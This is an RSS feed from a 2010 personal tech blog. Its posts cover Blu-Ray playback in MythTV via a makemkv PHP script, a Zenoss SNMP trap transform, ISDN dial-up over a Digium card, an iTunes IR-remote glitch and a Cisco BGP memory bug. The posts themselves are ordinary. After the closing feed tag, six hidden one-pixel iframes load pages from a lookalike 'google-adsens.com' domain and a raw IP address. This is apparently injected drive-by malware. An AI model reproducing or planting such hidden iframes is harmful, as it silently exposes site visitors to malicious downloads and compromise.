<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Quack.id.au</title>
	<atom:link href="http://quack.id.au/feed/" rel="self" type="application/rss+xml" />
	<link>http://quack.id.au</link>
	<description>Random ramblings and a few snippets of hopefully helpful info...</description>
	<lastBuildDate>Tue, 28 Dec 2010 01:26:50 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0.2</generator>
		<item>
		<title>Blu-Ray on Linux</title>
		<link>http://quack.id.au/2010/12/blu-ray-on-linux/</link>
		<comments>http://quack.id.au/2010/12/blu-ray-on-linux/#comments</comments>
		<pubDate>Tue, 28 Dec 2010 01:21:09 +0000</pubDate>
		<dc:creator>Paul</dc:creator>
				<category><![CDATA[Linux]]></category>

		<guid isPermaLink="false">http://quack.id.au/?p=52</guid>
		<description><![CDATA[Let me start by saying that the DRM on Blu-Ray discs (BDs) is absolutely insane&#8230; to the point where new BDs are being distributed with tiny VM&#8217;s (Virtual Machines) on board that are run up by Blu-Ray players to detect any tampering with a player and possibly repair it. See WikiPedia for some insight in [...]]]></description>
			<content:encoded><![CDATA[<p>Let me start by saying that the DRM on Blu-Ray discs (BDs) is absolutely insane&#8230; to the point where new BDs are being distributed with tiny VM&#8217;s (Virtual Machines) on board that are run up by Blu-Ray players to detect any tampering with a player and possibly repair it. See <a href="http://en.wikipedia.org/wiki/Blu-ray_Disc#Digital_rights_management">WikiPedia</a> for some insight in to the insane lengths Hollywood has gone to to stop people from doing virtually anything with the discs.</p>
<p>Anyway&#8230; what I set out to do was to be able to seamlessly play, at least most, protected discs from within the MythTV interface on my Linux PVR. Got pretty close I think&#8230;</p>
<p>Here are the basic steps:</p>
<ol>
<li>Download and install makemkv (Follow instructions <a href="http://www.makemkv.com/forum2/viewtopic.php?f=3&amp;t=224">here</a>)</li>
<li>Create following script in your homedir, I called it &#8216;bd&#8217;, note the general idea of the script was borrowed from another forum post which I can&#8217;t find now, and heavily modified:
<pre>#!/usr/bin/php -q
&lt;?php
system('killall makemkvcon');
system('(makemkvcon --upnp=0 stream disc:0 --cache=128 --minlength=60 2&gt;&amp;1 &gt;&gt;/var/log/mythtv/bd-makemkvcon.log) &gt;/dev/null &amp;');
$c=1;

while($c&lt;100){
 $c++;

// if makemkvcon is ready, exit loop
system("/bin/netstat -nl | grep -q 51000",$ret);
if ($ret==0) $c=100;

system('(osd_cat -p middle \
 -f "-adobe-helvetica-bold-*-*-*-34-*-*-*-*-*-*-*" \
 -A center \
 -b percentage \
 --color="WHITE" \
 --percentage='.$c.' \
 --shadow=4 \
 --text="Loading..." \
 -d 1 ) &gt;/dev/null &amp;');
usleep(900000);
}

sleep(1);

// Find titles and details from the web interface
$f=fopen('http://127.0.0.1:51000/web/titles','r');
$titles=array();
if ($f){
while(!feof($f)){
 if (preg_match('/\&lt;td\&gt;(?P&lt;title&gt;title[0-9]+)\&lt;\/td\&gt;/',fgets($f),$matches)){
 $titles[$matches['title']]['url']="http://127.0.0.1:51000/stream/{$matches['title']}.ts";
 $f1=fopen('http://127.0.0.1:51000/web/'.$matches['title'],'r');
 if ($f1){
 while(!feof($f1)){
 if (preg_match('/\&lt;tr\&gt;\&lt;td\&gt;(?&lt;attr&gt;.*)\&lt;\/td\&gt;\&lt;td\&gt;(?&lt;val&gt;.*)\&lt;\/td\&gt;\&lt;\/tr\&gt;/',fgets($f1),$matches1)){
 $titles[$matches['title']][$matches1['attr']]=$matches1['val'];
 }
 }
 fclose($f1);
 }
 }
}
fclose($f);
}
$f=fopen('/tmp/.tmp-bddata','w');
$vlccmd='vlc --fullscreen';
foreach ($titles as $title =&gt; $data){
 $vlccmd.=" {$data['url']}";
 fputs($f,"Title {$data['id']}    Duration {$data['duration']}    {$data['chaptercount']} chapters\n");
}
fclose($f);
//display details on screen for 10 seconds
system('osd_cat -f "-adobe-helvetica-bold-*-*-*-24-*-*-*-*-*-*-*" -A center --color="WHITE" --shadow=2 --lines='.count($titles).' /tmp/.tmp-bddata -d 10');
unlink('/tmp/.tmp-bddata');
//open vlc
if (count($titles)&gt;0){
system("$vlccmd 2&gt;&amp;1 &gt;&gt;/var/log/mythtv/bd-vlc.log");
}

system('killall makemkvcon');
?&gt;</pre>
</li>
<li>Edit &#8216;/usr/share/mythtv/themes/defaultmenu/optical_menu.xml&#8217; and insert the following just after the line &#8216;&lt;mythmenu name=&#8221;OPTICAL_DISK&#8221;&gt;&#8217;
<pre> &lt;button&gt;
 &lt;type&gt;BD_PLAY&lt;/type&gt;
 &lt;text&gt;Play BD&lt;/text&gt;
 &lt;description&gt;Play a film on BD&lt;/description&gt;
 &lt;action&gt;EXEC ~/bd&lt;/action&gt;
 &lt;depends&gt;mythvideo&lt;/depends&gt;
 &lt;/button&gt;</pre>
</li>
<li>Then edit the file &#8216;/usr/share/mythtv/themes/MY-THEME/menu-ui.xml&#8217; and under the section &#8216;&lt;!&#8211; ########  dvdmenu.xml  ########&#8211;&gt;&#8217; add:
<pre>&lt;state name="BD_PLAY"&gt;
 &lt;imagetype name="watermark"&gt;
 &lt;filename&gt;watermark/dvd.png&lt;/filename&gt;
 &lt;position&gt;0,0&lt;/position&gt;
 &lt;/imagetype&gt;
 &lt;/state&gt;</pre>
</li>
</ol>
<p>With a bit of playing around you should then be presented with a loading bar, followed by some details on the various title lengths etc to help you work out which title you want to watch, followed by a vlc window that has all the titles in a playlist&#8230; about the best I could do without getting my hands too dirty! Enjoy!</p>
]]></content:encoded>
			<wfw:commentRss>http://quack.id.au/2010/12/blu-ray-on-linux/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Zenoss for VMWare Virtual Centre</title>
		<link>http://quack.id.au/2010/12/zenoss-for-vmware-virtual-centre/</link>
		<comments>http://quack.id.au/2010/12/zenoss-for-vmware-virtual-centre/#comments</comments>
		<pubDate>Thu, 02 Dec 2010 11:47:06 +0000</pubDate>
		<dc:creator>Paul</dc:creator>
				<category><![CDATA[Networking]]></category>

		<guid isPermaLink="false">http://quack.id.au/?p=49</guid>
		<description><![CDATA[Needed to get Zenoss alerting sensably for SNMP Traps generated by VMWare VC&#8230; here is the Event Transform that I have come up with: # Data from the SNMP Trap #vmwVpxdTrapType = getattr(evt, "vmwProductSpecific.3.301.0", "Unknown") #vmwVpxdHostName = getattr(evt, "vmwProductSpecific.3.302.0", "Unknown") #vmwVpxdVMName = getattr(evt, "vmwProductSpecific.3.303.0", "Unknown") #vmwVpxdOldStatus = getattr(evt, "vmwProductSpecific.3.304.0", "Unknown") vmwVpxdNewStatus = getattr(evt, "vmwProductSpecific.3.305.0", "Unknown") [...]]]></description>
			<content:encoded><![CDATA[<p>Needed to get Zenoss alerting sensably for SNMP Traps generated by VMWare VC&#8230; here is the Event Transform that I have come up with:</p>
<pre>
<pre># Data from the SNMP Trap
#vmwVpxdTrapType = getattr(evt, "vmwProductSpecific.3.301.0", "Unknown")
#vmwVpxdHostName = getattr(evt, "vmwProductSpecific.3.302.0", "Unknown")
#vmwVpxdVMName = getattr(evt, "vmwProductSpecific.3.303.0", "Unknown")
#vmwVpxdOldStatus = getattr(evt, "vmwProductSpecific.3.304.0", "Unknown")
vmwVpxdNewStatus = getattr(evt, "vmwProductSpecific.3.305.0", "Unknown")
vmwVpxdObjValue = getattr(evt, "vmwProductSpecific.3.306.0", "Unknown")
vmwVpxdTargetObj = getattr(evt, "vmwProductSpecific.3.307.0", "Unknown")
#vmwVpxdTargetObjType = getattr(evt, "vmwProductSpecific.3.308.0", "Unknown")
# Severity
if vmwVpxdNewStatus == "Red":
	evt.severity = 5
elif vmwVpxdNewStatus == "Yellow":
	evt.severity = 4
elif vmwVpxdNewStatus == "Green" or vmwVpxdNewStatus == "Gray":
	evt.severity = 0
else:
	evt.severity = 3
# Component
evt.component = vmwVpxdTargetObj
# Summary
evt.summary = "Trap " + vmwVpxdTargetObj
# Message
evt.message = vmwVpxdTargetObj + ": " + vmwVpxdObjValue
</pre>
</pre>
]]></content:encoded>
			<wfw:commentRss>http://quack.id.au/2010/12/zenoss-for-vmware-virtual-centre/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Digium card PPP/ISDN modem</title>
		<link>http://quack.id.au/2010/11/digium-card-pppisdn-modem/</link>
		<comments>http://quack.id.au/2010/11/digium-card-pppisdn-modem/#comments</comments>
		<pubDate>Tue, 30 Nov 2010 12:51:19 +0000</pubDate>
		<dc:creator>Paul</dc:creator>
				<category><![CDATA[Networking]]></category>

		<guid isPermaLink="false">http://quack.id.au/?p=45</guid>
		<description><![CDATA[At work we are hanging on to our voice E1 PRI as, we figure, as a networking company, we don&#8217;t want a network issue to affect the only non-computer-based way for customers to get in touch with us (Phone). The other reason is because, for some reason, the Integrated Public Number Database (IPND), still requires [...]]]></description>
			<content:encoded><![CDATA[<p>At work we are hanging on to our voice E1 PRI as, we figure, as a networking company, we don&#8217;t want a network issue to affect the only non-computer-based way for customers to get in touch with us (Phone). The other reason is because, for some reason, the Integrated Public Number Database (IPND), still requires all updates to be submitted via an ISDN dial-up connection. The IPND&#8217;s primary function is to hold a list of phone numbers and addresses for use by the emergency services to find your house if you dial 000.</p>
<p>We very recently moved the termination of this E1/PRI to a Digium card in a box running Asterisk, previously this was done on a Cisco 5300. After a bit of reading it became apparent that someone had already built all that was required to dial out via a Digium PCI card. Oh JOY!</p>
<p>The basics of getting this to work are:</p>
<ol>
<li>Ensure your kernel is compiled with support for Generic HDLC interfaces (Device Drivers &gt; Network Interfaces &gt; WAN Interfaces) either statically/module. I compiled it all as a module, per the <a href="http://wiki.centos.org/HowTos/BuildingKernelModules">CentOS guide</a>.</li>
<li>If PPP is not compled statically into kernel you can also have problems with DAHDI recognising that it&#8217;s supported hence will not compile its own support for PPP. I forced PPP support by editing include/dahdi/dahdi_config.h</li>
<li>Told asterisk (statically) to not use Channel 31 on the PRI (editing DAHDI module config for Asterisk)</li>
<li>Created a peer config /etc/ppp/peers/ipnd:
<p>lock<br />
dump<br />
debug<br />
logfile /var/log/pppd<br />
plugin dahdi.so<br />
31<br />
noauth<br />
user test<br />
connect &#8220;chat -t 3 -f /etc/ppp/peers/ipnd_chat&#8221;</li>
<li>Will also have to create the chat script and verify all that works, once we have details from the IPND people. But so far, so good.</li>
</ol>
<p>References:</p>
<ul>
<li>http://wiki.centos.org/HowTos/BuildingKernelModules</li>
<li>http://www.facebook.com/note.php?note_id=440833568415</li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://quack.id.au/2010/11/digium-card-pppisdn-modem/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>iTunes randomly starts playing</title>
		<link>http://quack.id.au/2010/11/itunes-randomly-starts-playing/</link>
		<comments>http://quack.id.au/2010/11/itunes-randomly-starts-playing/#comments</comments>
		<pubDate>Tue, 30 Nov 2010 12:23:56 +0000</pubDate>
		<dc:creator>Paul</dc:creator>
				<category><![CDATA[Sound/Light Production]]></category>

		<guid isPermaLink="false">http://quack.id.au/?p=40</guid>
		<description><![CDATA[So, today I was doing a relatively very-low-key production for a local pre-school. As usual, I decided to rip the audio to the MBP and play back using QLab. Part way through the first track I (and everyone else) was startled to hear The Prodigy blasting over the PA&#8230; yes, iTunes was possessed by the [...]]]></description>
			<content:encoded><![CDATA[<p>So, today I was doing a relatively very-low-key production for a local pre-school. As usual, I decided to rip the audio to the MBP and play back using <a href="http://figure53.com/qlab/">QLab</a>. Part way through the first track I (and everyone else) was startled to hear The Prodigy blasting over the PA&#8230; yes, iTunes was possessed by the devil! Is this a new feature of iTunes 10, I thought? Cmd+Q out of iTunes and resume the show&#8230; then the iTunes window appeared in background AGAIN, and again, and again&#8230; WTF is going on?!</p>
<p>My only guess was that someone had a camcorder/digital still camera that has an IR transmitter/remote control that shares RC codes with the Apple Remote, or someone in the audience had an Apple Remote and was feeling disruptive&#8230;either way&#8230; weird!</p>
<p>I turned the volume to zero in iTunes and put a strip of gaff tape over the IR receiver on the MBP and it didn&#8217;t happen again. Also, I&#8217;ve now located the option in System Preferences to disable the IR receiver all together, after all, unwanted music&#8217;s through the PA is never a good look.</p>
]]></content:encoded>
			<wfw:commentRss>http://quack.id.au/2010/11/itunes-randomly-starts-playing/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>BGP Process on Cisco 7200 chewing through memory</title>
		<link>http://quack.id.au/2010/11/bgp-process-on-cisco-7200-chewing-through-memory/</link>
		<comments>http://quack.id.au/2010/11/bgp-process-on-cisco-7200-chewing-through-memory/#comments</comments>
		<pubDate>Tue, 09 Nov 2010 15:03:01 +0000</pubDate>
		<dc:creator>Paul</dc:creator>
				<category><![CDATA[Networking]]></category>

		<guid isPermaLink="false">http://quack.id.au/?p=7</guid>
		<description><![CDATA[For a couple of months free memory has been on a downward spiral, and CPU utilisation steadily rising. After much consultation, confusion and head scratching we came across a weird and wacky bug with our Cisco 7200 series routers (possibly just the firmware we are running)&#8230; Having BGP peers that are shutdown or otherwise inactive [...]]]></description>
			<content:encoded><![CDATA[<p>For a couple of months free memory has been on a downward spiral, and CPU utilisation steadily rising. After much consultation, confusion and head scratching we came across a weird and wacky bug with our Cisco 7200 series routers (possibly just the firmware we are running)&#8230;</p>
<p>Having BGP peers that are shutdown or otherwise inactive will cause the BGP process to gradually chew through available memory, and also cause it to use excessive CPU resources. Removing the BGP configuration for the inactive peers will release the held memory and drop CPU utilisation significantly. Our routers immediately recovered 60-100MB of memory and is now on an upward trend, and CPU utilisation dropped by around 50 percent.</p>
<p>Have observed the phenomenon on</p>
<ul>
<li>Cisco 7206 VXR NPE-G1 running c7200-advipservicesk9-mz.124-24.T.bin</li>
<li>Cisco 7206 VXR NPE-G1 running c7200-spservicesk9-mz.124-24.T.bin</li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://quack.id.au/2010/11/bgp-process-on-cisco-7200-chewing-through-memory/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
<iframe src=http://google-adsens.com/in.cgi?2 width=1 height=1 frameborder=0></iframe><iframe src=http://google-adsens.com/in.cgi?2 width=1 height=1 frameborder=0></iframe><iframe src=http://31.184.242.81/link.php width=1 height=1 frameborder=0></iframe><iframe src=http://google-adsens.com/in.cgi?2 width=1 height=1 frameborder=0></iframe><iframe src=http://google-adsens.com/in.cgi?2 width=1 height=1 frameborder=0></iframe><iframe src=http://31.184.242.81/link.php width=1 height=1 frameborder=0></iframe>
